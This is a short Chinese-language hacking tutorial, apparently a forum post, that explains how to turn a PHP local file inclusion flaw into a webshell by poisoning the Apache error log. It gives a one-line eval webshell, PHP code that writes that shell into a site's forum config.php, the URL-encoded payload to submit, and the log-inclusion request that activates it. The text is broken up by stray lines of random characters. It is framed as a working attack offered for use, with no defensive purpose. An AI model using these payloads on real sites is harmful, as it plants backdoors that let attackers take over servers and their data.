php包含apache日志写马

admin

因为上面那个很不实际，我在测试中发现日志动不动就是几十兆，那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用，也比上面那种慢的要死好很多。
! H, c/ M; H) |) A
比如还是这句一句话木马
) f0 a6 T- H- J: `7 j7 }* ^<?eval($_POST[cmd]);?>   
( x1 O' a: L5 W7 {8 K8 [
到这里你也许就想到了，这是个很不错的办法。接着看,如何写入就成了个问题，用这句，
fopen打开/home/virtual/www.xxx.com/forum/config.php这个文件，然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是

<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>");
, @, Q, P- q; A1 kfclose($fp);?>   //在config.php里写入一句木马语句

! `" t* `5 \: E7 d: N. o# }1 U我们提交这句，再让Apache记录到错误日志里，再包含就成功写入shell,记得一定要转换成URL格式才成功。
' z& U7 k' ]: f, a& w0 \* F# J5 |! O转换为
3 K( m, w. `& M% k1 n+ p! v%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww%2Exxx%2Ecom%2Fforum%2F
config%2Ephp%22%2C%22w%2B%22%29%3Bfputs%28%24fp
%2C%22%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E%22%29%3B
fclose%28%24fp%29%3B%3F%3E
! y8 c0 z% w. y我们提交
http://xxx.com/%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww
3 ]3 B1 R& Y( P& f3 X7 y%2Exxx%2Ecom%2Fforum%2Fconfig%2Ephp
%22%2C%22w%2B%22%29%3Bfputs%28%24fp%2C%22%3C%3Feval%28%24%5FPOST%5B
cmd%5D%29%3B%3F%3E%22%29%3Bfclose%28%24fp%29%3B%3F%3E

这样就错误日志里就记录下了这行写入webshell的代码。
我们再来包含日志，提交
. ^) W, h3 ]* G# }http://xxx.com/z.php?zizzy=/home ... /logs/www-error_log
5 k! f7 k, e: A; i: J# j
这样webshell就写入成功了，config.php里就写入一句木马语句
OK.
http://www.xxx.com/forum/config.php这个就成了我们的webshell
